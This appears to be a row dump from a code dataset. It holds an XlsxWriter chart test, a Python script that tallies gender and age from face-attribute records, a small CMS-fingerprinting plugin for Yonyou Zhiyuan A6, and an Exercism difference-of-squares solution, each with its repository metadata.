chart.axis_ids = [61365632, 64275584]
data = [
[1, 2, 3, 4, 5],
[2, 4, 6, 8, 10],
[3, 6, 9, 12, 15],
]
worksheet.write_column('A1', data[0])
worksheet.write_column('B1', data[1])
worksheet.write_column('C1', data[2])
chart.add_series({'values': '=Sheet1!$A$1:$A$5'})
chart.add_series({'values': '=Sheet1!$B$1:$B$5'})
chart.add_series({'values': '=Sheet1!$C$1:$C$5'})
worksheet.insert_chart('E9', chart)
worksheet.insert_textbox('F25', 'This is some text')
workbook.close()
self.assertExcelEqual()
|
[
"jmcnamara@cpan.org"
] |
jmcnamara@cpan.org
|
9c9914865de3c1df41c80e63a0c11656069a6471
|
0455bd20bfc0fdd9b8553d033891e5b31e2e9384
|
/CrunchbaseInitial/CrunchbaseDataExtraction/AsianGendersNonEntrepreneurs.py
|
e278a5d1b35335d8f68f2f83f007fc2ada86f1e0
|
[] |
no_license
|
kyriacosar/LInC-Eclipse-Repository
|
a0419305b824d8adcab0d31ab71ce9e4e2307f22
|
c480e071f9e571224e55983c3e9c6d0f70d0e511
|
refs/heads/master
| 2020-12-02T21:25:36.537787
| 2017-07-27T09:25:00
| 2017-07-27T09:25:00
| 96,314,446
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,868
|
py
|
'''
Created on Jul 11, 2017
@author: kyriacos
'''
import json
import math
if __name__ == '__main__':
e_file_in = open("../../../../Documents/Crunchbase Project Data/Microsoft/Crunchbase Results/Data Dictionaries/Crunchbase_Non_Entrepreneurs_FaceAttributes_Dictionaries.json", "r")
e_file_out = open("../../../../Documents/Crunchbase Project Data/Microsoft/Crunchbase Results/Data Extraction/Crunchbase_Asian_Non_Entrepreneurs_Gender_Percentages.txt", "w")
male = 0
maleAge = 0
female = 0
femaleAge = 0
count=0
for record in e_file_in:
try:
jDict = json.loads(record)
str_gender = str(jDict['faceAttributes']['gender'])
try:
str_ethn = str(jDict['faceAttributes']['ethnicity'])
if str_ethn == 'Asian':
if str_gender == 'male':
male += 1
maleAge += jDict['faceAttributes']['age']
elif str_gender == 'female':
female += 1
femaleAge += jDict['faceAttributes']['age']
count += 1
except KeyError:
print
except ValueError:
print("Error in json to dictionary translation.")
e_file_out.write("Gender percentages among Asian Entrepreneurs:\n\n")
e_file_out.write("Males: "+str(male)+" out of "+str(count)+" with percentage "+str(male/float(count)*100.0))
e_file_out.write("\nFemales: "+str(female)+" out of "+str(count)+" with percentage "+str(female/float(count)*100.0))
e_file_out.write("\n\nAverage age among non Asian Entrepreneurs:\n\n")
e_file_out.write("Male: "+str(maleAge/male))
e_file_out.write("\nFemale: "+str(femaleAge/female))
|
[
"Kyriacos"
] |
Kyriacos
|
3468a788789a89e21d9f7bca64d58226d88bd41f
|
f329f3061e3a72b2562bb242dfe1a2ed07fe65f0
|
/plugins/yongyou_zhiyuan_a6_app.py
|
b860deb6797eb3a2707688c9c7b7c34d87871b9e
|
[
"MIT"
] |
permissive
|
ver007/getcms
|
58263174355eb16bae95b74f6efaff5069b4ce56
|
da03c07457abc266cacddc3ccd67126f0b03da3d
|
refs/heads/master
| 2021-01-19T07:01:51.453626
| 2016-04-13T08:28:14
| 2016-04-13T08:28:14
| 56,134,430
| 0
| 0
| null | 2016-04-13T08:27:38
| 2016-04-13T08:27:38
| null |
UTF-8
|
Python
| false
| false
| 164
|
py
|
#!/usr/bin/env python
# encoding: utf-8
def run(whatweb, pluginname):
whatweb.recog_from_file(pluginname, "yyoa/common/js/javaSeesion.js", "f_showallCookie")
|
[
"hackerlq@gmail.com"
] |
hackerlq@gmail.com
|
088f5a935085713d1f20c82d2f95e0ba31e9fc85
|
781e2692049e87a4256320c76e82a19be257a05d
|
/all_data/exercism_data/python/difference-of-squares/6bb2f99092244bb48dce2c00c19a804f.py
|
bad5f033d6a46058afa17473abbfba5fefc147e7
|
[] |
no_license
|
itsolutionscorp/AutoStyle-Clustering
|
54bde86fe6dbad35b568b38cfcb14c5ffaab51b0
|
be0e2f635a7558f56c61bc0b36c6146b01d1e6e6
|
refs/heads/master
| 2020-12-11T07:27:19.291038
| 2016-03-16T03:18:00
| 2016-03-16T03:18:42
| 59,454,921
| 4
| 0
| null | 2016-05-23T05:40:56
| 2016-05-23T05:40:56
| null |
UTF-8
|
Python
| false
| false
| 1,191
|
py
|
# -*- coding: utf-8 -*-
from __future__ import division
def difference(n):
"""
differences(int) -> int
Return the difference between the square of the sums and the sums of the
squares up to n.
"""
return square_of_sum(n) - sum_of_squares(n)
def square_of_sum(n):
"""
square_of_sum(int) -> int
Return the square of the sum of all integers from 0 to n >= 0.
"""
#1 + 2 + 3 + 4 + ... + n = n (n+1) //2
#note that the division works because n or n+1 is even
return ((n * (n + 1)) // 2) ** 2
def sum_of_squares(n):
"""
square_of_sum(int) -> int
Return the sum of all integers squared from 0 to n >= 0.
"""
#Let T_n be the sum of the integers up to n
#Let S_n be the sum of the squares up to n
#Let K_n be the sum of the cubes up to n
# K_n = K_(n+1) - (n+1)**3
# = K_n + 3*S_n + 3*T_n + n - (n+1)**3
#
# <=> 3*S_n = (n+1)**3 - n - 3*T_n
# = n**3 + 3*n**2 + 3*n + 1 - 3/2(n**2 - 1)
# = n**3 + 3/2*n**2 + n/2
# <=> S_n = 1/3 * n**3 + 1/2 * n**2 + 1/6 * n
# = ((2 * n + 3) * n + 1) * n * 1/6
return (((2 * n + 3) * n + 1) * n) // 6
|
[
"rrc@berkeley.edu"
] |
rrc@berkeley.edu
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.